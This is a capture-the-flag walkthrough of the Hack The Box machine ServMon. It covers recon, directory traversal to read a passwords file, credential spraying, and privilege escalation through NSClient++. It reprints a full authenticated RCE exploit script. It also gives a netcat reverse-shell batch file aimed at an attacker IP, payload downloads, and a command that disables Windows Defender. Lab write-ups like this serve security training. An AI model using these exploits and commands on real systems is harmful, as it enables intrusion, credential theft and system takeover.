ServMon

Windows: FTP, SSH, Directory Traversal, NSClient++, SSH tunneling

Recon: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.184

21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_02-28-22  06:35PM       <DIR>          Users

22/tcp   open  ssh           OpenSSH for_Windows_8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA)
|   256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA)
|_  256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519)

80/tcp   open  http
|_http-title: Site doesn't have a title (text/html).
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:

135/tcp  open  msrpc         Microsoft Windows RPC

139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp  open  microsoft-ds?

5666/tcp open  tcpwrapped

6699/tcp open  napster?

8443/tcp open  ssl/https-alt
| http-title: NSClient++
|_Requested resource was /index.html
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=1/13%Time=65A32728%P=x86_64-pc-linux-gnu%r(N
SF:ULL,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text
SF:/html\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\
SF:r\n\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20
SF:text/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo
SF::\x20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x
SF:20XHTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml
SF:1/DTD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w
SF:3\.org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x
SF:20\x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n
SF:\x20\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\
SF:n")%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/
SF:html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20
SF:\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHT
SF:ML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD
SF:/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.or
SF:g/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x2
SF:0\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\
SF:x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r
SF:(RTSPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\
SF:r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\
SF:r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x2
SF:01\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtm
SF:l1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/199
SF:9/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20
SF:\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x
SF:20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.94SVN%T=SSL%I=7%D=1/13%Time=65A32733%P=x86_64-pc-linux
SF:-gnu%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocat
SF:ion:\x20/index\.html\r\n\r\nc\0\x20\0F\0a\0l\0s\0e\0\0\0\0\0\0\0\0\0\xa
SF:0\x12\xb9\xdd\xad\x01\0\x12\x02\x18\0\x1aC\n\x07workers\x12\n\n\x04jobs
SF:\x12\x02\x18\x20\x12\x0f")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nConten
SF:t-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,3
SF:6,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20
SF:found")%r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n
SF:\r\nDocument\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nCon
SF:tent-Length:\x2018\r\n\r\nDocument\x20not\x20found");

Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-01-14T00:15:55
|_  start_date: N/A
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.184    

123/udp  open|filtered ntp
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
500/udp  open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr

Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1152.56 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.184

nmap shows 19 open ports, including a lot of standard Windows stuff, and SSH Scanning through the list, my top tier of things to check out will be FTP (TCP 21) with anonymous login allowed, SMB (TCP 445), HTTP (TCP 80) and HTTPS (TCP 8443). LDAP (TCP 389) could be a good place to check as well. WinRM (TCP 5985) and SSH (22) will come in handy if I get creds.

The TLS certificate only gives the name localhost, so no sign of using domain names for different pages.

Enumeration: FTP Port 21/tcp

Since nmap identified that anonymous FTP was permitted, I’ll grab all of the files there with wget -r ftp://anonymous:@10.10.10.184 (this would be not a great idea on a real server where I’d be tons of stuff, but works well for a CTF like HTB). There were two files:

┌──(kali💀kali)-[~]
└─$ ftp anonymous@10.10.10.184
Connected to 10.10.10.184.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
┌──(kali💀kali)-[~/Desktop]
└─$ wget -r ftp://anonymous:@10.10.10.184 
--2024-01-13 19:54:35--  ftp://anonymous:*password*@10.10.10.184/
           => ‘10.10.10.184/.listing’
Connecting to 10.10.10.184:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.
┌──(kali💀kali)-[~/Desktop/10.10.10.184/Users/Nathan]
└─$ cat Notes\ to\ do.txt 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint   
┌──(kali💀kali)-[~/Desktop/10.10.10.184/Users/Nadine]
└─$ cat Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine  

We have a passwords.txt file on Nathan's desktop, let’s keep this for future, might come in handy.

Enumeration: SMB Port 445/tcp

Without credentials, it appears that I cannot connect to SMB:

┌──(kali💀kali)-[~]
└─$ smbmap -H 10.10.10.184
[*] Detected 0 hosts serving SMB

┌──(kali💀kali)-[~]
└─$ smbmap -H 10.10.10.184 -u null
[*] Detected 1 hosts serving SMB
[*] Established 0 SMB session(s)  

Enumeration: MSRPC Port 135/tcp

Microsoft Windows RPC:

┌──(kali💀kali)-[~]
└─$ rpcclient 10.10.10.184 -U ""
Password for [WORKGROUP\]:
Cannot connect to server.  Error was NT_STATUS_LOGON_FAILURE

┌──(kali💀kali)-[~]
└─$ enum4linux -a 10.10.10.184 
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.   

Enumeration: HTTP Port 80/tcp- NVMS 1000

On manually visiting http://10.10.10.184 , we are greeted with a NVMS 1000 login page. Default credentials admin : 123456 do not work. Here is the user manual for NVMS-1000:

http://10.10.10.184/Pages/login.htm view-source:http://10.10.10.184/Pages/login.htm

Gobuster:

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.184 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.184/40a9cd65-ca25-493e-aa30-bc637aa59863 => 200 (Length: 118). To continue please exclude the status code or the length

gobuster reports that there is a 200 return code for even random urls I tested by visiting /exodus (a path that won’t exist), and could see in Burp the response was a 200:

http://10.10.10.184/Pages/exodus

I tried wfuzz where I could filter based on response length. It worked for a couple thousand requests, but then died each time:

┌──(kali💀kali)-[~]
└─$ wfuzz -c -u http://10.10.10.184/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hh 118

Nikto:

┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.184

+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'authinfo' found, with contents: .
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF: Oracle Reports rwservlet report Variable Arbitrary Report Executable Execution. See: https://www.exploit-db.com/exploits/26006

Vulnerabilities: On searching for possible exploits for NVMS-1000 , we have a Directory traversal and with the knowledge of passwords.txt file on Nathan’s Desktop, this directory traversal can be really useful. searchsploit shows a directory traversal vulnerability in this application:

┌──(kali💀kali)-[~]
└─$ searchsploit NVMS     

NVMS 1000 - Directory Traversal                                | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modificati | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow             | multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal                            | hardware/webapps/48311.py
┌──(kali💀kali)-[~/Desktop]
└─$ searchsploit -m 47774.txt
  Exploit: NVMS 1000 - Directory Traversal
      URL: https://www.exploit-db.com/exploits/47774
     Path: /usr/share/exploitdb/exploits/hardware/webapps/47774.txt
    Codes: N/A
 Verified: False
File Type: Unicode text, UTF-8 text
Copied to: /home/kali/Desktop/47774.txt
┌──(kali💀kali)-[~/Desktop]
└─$ cat 47774.txt 
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html

POC
---------

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1   

In reading that text file, it basically says I can request /../../../../../../../../../../../../windows/win.ini and get it. I’ll kick a request over to Burp Repeater, and it works:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.10.10.184
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Content-type: 
Content-Length: 92
Connection: close
AuthInfo: 

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

Enumeration: HTTPS Port 8443/tcp

https://10.10.10.184:8443/index.html view-source:https://10.10.10.184:8443/index.html

Certificate: There’s a TLS server on 8443. Normally with a cert I’d get a hostname and potentially look for vhosts, but this certificate is just for localhost.

Site: NSClient++ The site is an instance of NSClient++, an agent designed to do monitoring: It seems pretty broken here. Visiting in Cromium (instead of Firefox) does give a log in (some of the time): Getting this website to work was quite frustrating. Like I said above, I had much better success in Chromium than I did in Firefox, but even then, it was not stable.

Vulnerabilities: There is a known vulnerability in NSClient++ 0.5.2.35:

┌──(kali💀kali)-[~/Desktop]
└─$ searchsploit nsclient

NSClient++ 0.5.2.35 - Authenticated Remote Code Execution      | json/webapps/48360.txt
NSClient++ 0.5.2.35 - Privilege Escalation                     | windows/local/46802.txt
┌──(kali💀kali)-[~/Desktop]
└─$ searchsploit -m nsclient 48360.txt

  Exploit: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48360
     Path: /usr/share/exploitdb/exploits/json/webapps/48360.txt
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/48360.txt
┌──(kali💀kali)-[~/Desktop]
└─$ cat 48360.txt 
# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generateName():

        letters = string.ascii_lowercase + string.ascii_uppercase
        return ''.join(random.choice(letters) for i in range(random.randint(8,13)))

def printStatus(message, msg_type):

        C_YELLOW = '\033[1;33m'
        C_RESET = '\033[0m'
        C_GREEN = '\033[1;32m'
        C_RED = '\033[1;31m'

        if msg_type == "good":
                green_plus = C_GREEN + "[+]" + C_RESET
                string = green_plus + " " + message

        elif msg_type == "info":
                yellow_ex = C_YELLOW + "[!]" + C_RESET
                string = yellow_ex + " " + message

        elif msg_type == "bad":
                red_minus = C_RED + "[-]" + C_RESET
                string = red_minus + " " + message

        print(string)


# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):

        printStatus("Configuring Script with Specified Payload . . .", "info")
        endpoint = "/settings/query.json"
        node = { "path" : "/settings/external scripts/scripts",
                 "key" : key }
        value = { "string_data" :  cmd }
        update = { "node" : node , "value" : value }
        payload = [ { "plugin_id" : "1234",
                    "update" :  update } ]
        json_data = { "type" : "SettingsRequestMessage", "payload" : payload }

        out = session.post(url = base_url + endpoint, json=json_data, verify=False)
        if "STATUS_OK" not in str(out.content):
                printStatus("Error configuring payload. Hit error at: "  + endpoint, "bad")
                sys.exit(1)

        printStatus("Added External Script (name: " + key + ")", "good")
        time.sleep(3)
        printStatus("Saving Configuration . . .", "info")
        header = { "version" : "1" }
        payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
        json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }

        session.post(url = base_url + endpoint, json=json_data, verify=False)


# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):

        printStatus("Reloading Application . . .", "info")
        endpoint = "/core/reload"
        session.get(url = base_url + endpoint, verify=False)

        # Wait until the application successfully reloads by making a request
        # every 10 seconds until it responds.
        printStatus("Waiting for Application to reload . . .", "info")
        time.sleep(10)
        response = False
        count = 0
        while not response:
                try:
                        out = session.get(url = base_url, verify=False, timeout=10)
                        if len(out.content) > 0:
                                response = True
                except:
                        count += 1
                        if count > 10:
                                printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
                                sys.exit(1)
                        else:
                                continue


# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):

        printStatus("Triggering payload, should execute shortly . . .", "info")
        endpoint = "/query/" + key
        try:
                session.get(url = base_url + endpoint, verify=False, timeout=10)
        except requests.exceptions.ReadTimeout:
                printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
                sys.exit(0)


# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):

        printStatus("Enabling External Scripts Module . . .", "info")
        endpoint = "/registry/control/module/load"
        params = { "name" : "CheckExternalScripts" }
        out = session.get(url = base_url + endpoint, params=params, verify=False)
        if "STATUS_OK" not in str(out.content):
                printStatus("Error enabling required feature. Hit error at: "  + endpoint, "bad")
                sys.exit(1)


# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):

        printStatus("Obtaining Authentication Token . . .", "info")
        endpoint = "/auth/token"
        params = { "password" : password }
        auth = session.get(url = base_url + endpoint, params=params, verify=False)
        if "auth token" in str(auth.content):
                j = json.loads(auth.content)
                authToken = j["auth token"]
                printStatus("Got auth token: " + authToken, "good")
                return authToken
        else:
                printStatus("Error obtaining auth token, is your password correct? Hit error at: "  + endpoint, "bad")
                sys.exit(1)



parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()

if len(sys.argv) < 4:
        parser.print_help()
        sys.exit(1)

# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c

# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)

# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Execute our code.
triggerPayload(s, randKey)    

It’s a local privesc because with a shell on the box, I can get the admin plaintext password from the config files, and then login and create a job to get a shell. I’ll keep this in mind.

Shell as nadine

Get Passwords: I know from the FTP note that there is a file with passwords at C:\users\nathan\desktop\passwords.txt. I’ll use the directory traversal vulnerability to try to read that file, and it works:

GET /../../../../../../../../../../../../users/nathan/desktop/passwords.txt HTTP/1.1
Host: 10.10.10.184
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close


HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo: 

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Check Passwords: Since I only have a list of passwords without usernames, I’ll create a list of what I know now:

┌──(kali💀kali)-[~/Desktop]
└─$ nano users.txt

┌──(kali💀kali)-[~/Desktop]
└─$ nano passwords.txt

┌──(kali💀kali)-[~/Desktop]
└─$ cat users.txt    
administrator
nathan
nadine

┌──(kali💀kali)-[~/Desktop]
└─$ cat passwords.txt 
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

I can now use crackmapexec to see if any of these passwords work for any of the users for smb:

┌──(kali💀kali)-[~/Desktop]
└─$ crackmapexec smb 10.10.10.184 -u users.txt -p passwords.txt

SMB         10.10.10.184    445    SERVMON          [*] Windows 10.0 Build 17763 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB         10.10.10.184    445    SERVMON          [-] ServMon\administrator:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\administrator:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\administrator:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\administrator:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [+] ServMon\nadine:L1k3B1gBut7s@W0rk 

I’ve got a match: nadine L1k3B1gBut7s@W0rk

SSH:

┌──(kali💀kali)-[~/Desktop]
└─$ ssh nadine@10.10.10.184

nadine@SERVMON C:\Users\Nadine>

nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt 
941b2-----------------------------

Priv: nadine –> SYSTEM

First things first, I like to start with some manual enumeration to get an idea about the system and the current user:

nadine@SERVMON C:\Program Files\NSClient++> systeminfo
ERROR: Access denied
nadine@SERVMON C:\Program Files\NSClient++> net users
User accounts for \\SERVMON
Administrator            DefaultAccount           Guest
Nadine                   Nathan                   WDAGUtilityAccount
nadine@SERVMON C:\Program Files\NSClient++> whoami /priv
Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
nadine@SERVMON C:\Program Files\NSClient++>cmdkey /list
Currently stored credentials:
* NONE *

Find NSClient++ Password:

With a shell, I can get the NSClient++ password. I could do it by reading the .ini file, or just having the helper program tell me:

nadine@SERVMON C:\Users\Nadine> cd C:\Program Files\NSClient++ 
nadine@SERVMON C:\Program Files\NSClient++> nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT

Setup Tunnel:

If I try to log in from https://10.10.10.184:8443, it blocks me. Towards the top of nsclient.ini, there’s this:

nadine@SERVMON C:\Program Files\NSClient++> type nsclient.ini

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1

Exploit:

To get execution, the exploit-db write-up was not sure helpful, and the web interface was really frustrating. It was very unstable, and made trouble shooting incredibly difficult.

I was able to get success by taking the following steps based on How To Run Commands in the NSClient documentation. The steps are for directly interacting with the nsclient.ini file, but I eventually got a feel for how to use the web interface to get the same results:

We got the version number and the platform architecture. Let’s now search for a way to exploit this application with public information. With a bit of research we find a RCE and a privilege escalation for this version. Since we are trying to privesc, we go for the latter.

We can follow this exploit steps (https://www.exploit-db.com/exploits/46802). The first step is login (DONE), the second is enable these two modules:

  • CheckExternalScripts

  • Scheduler

┌──(kali💀kali)-[~]
└─$ sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.10.10.184 -L 8443:127.0.0.1:8443

Now I can access https://127.0.0.1:8443/, and login with the password:

https://127.0.0.1:8443/index.html
ew2x6SsGTxjRwXOT
nadine@SERVMON C:\Users\Nadine>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Nadine>

They both were enabled by default. Third step is to upload the “nc.exe” binary and an “evil.bat” script with this command inside:

@echo off
C:\Temp\nc.exe 10.10.16.4 5555 -e cmd
PS C:\> mkdir Temp
    Directory: C:\
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/14/2024   5:31 AM                Temp

PS C:\> cd Temp
┌──(kali💀kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 5555// Some code
PS C:\Temp> wget http://10.10.16.4:5555/nc64.exe -outfile nc.exe
PS C:\Temp> ls
    Directory: C:\Temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/14/2024   5:31 AM          45272 nc.exe
PS C:\Temp> powershell wget http://10.10.16.4:5555/shell.bat -outfile shell.bat
PS C:\Temp> ls
    Directory: C:\Temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/14/2024   5:31 AM          45272 nc.exe
-a----        1/14/2024   5:38 AM             48 shell.bat

There’s also an AV in place, so if we try to run the netcat executable, the reverse shell will not work. We could try some AVs bypasses, but i just decided to remove the real time protection. Since we have not a GUI, we need to do it by the command line using powershell:

powershell Set-MpPreference -DisableRealtimeMonitoring $true

This can be runned only from the “NT AUTHORITY\SYSTEM” user. And since the application runs as that user, we can just execute it. Let’s create then another “.bat” file with the command above and upload it to the machine:

┌──(kali💀kali)-[~/Desktop]
└─$ nano point.bat
powershell Set-MpPreference -DisableRealtimeMonitoring $true
┌──(kali💀kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 5555

wget http://10.10.16.4:5555/point.bat -outfile poiint.bat

So the “evil.bat” is the file that will get us the reverse shell. The “poiint.bat” is the file that will disable real time protection. Now let’s go into the application again → Settings → External Scripts → Scripts → Add New:

Section: /settings/external scripts/scripts/poiint
Key: command
Value: C:\Temp\poiint.bat

And click on “Add”. Then click on “Changes” → “Save Configuration” Then click on “Control” → “Reload”.

Once all of this steps have been done, let’s navigate to Settings -> External Scripts -> Scripts and we should see a label “poiint” This means the script has been loaded correctly. Now navigate to “Queries” -> “poiint”

If we click on the green “Run” button, it will execute our “poiint.bat” file which disables real time protection. Let’s run it. You should see an “OK” feedback. If not, then, backup the “poiint.bat” in another file because we need to rename the “evil.bat” file in “poiint.bat”:

PS C:\Temp> mkdir backup
    Directory: C:\Temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       12/17/2023   4:15 AM                backup
PS C:\Temp> move .\poiint.bat .\backup\
PS C:\Temp> ls
    Directory: C:\Temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       12/17/2023   4:15 AM                backup
-a----       12/17/2023   3:59 AM             52 evil.bat
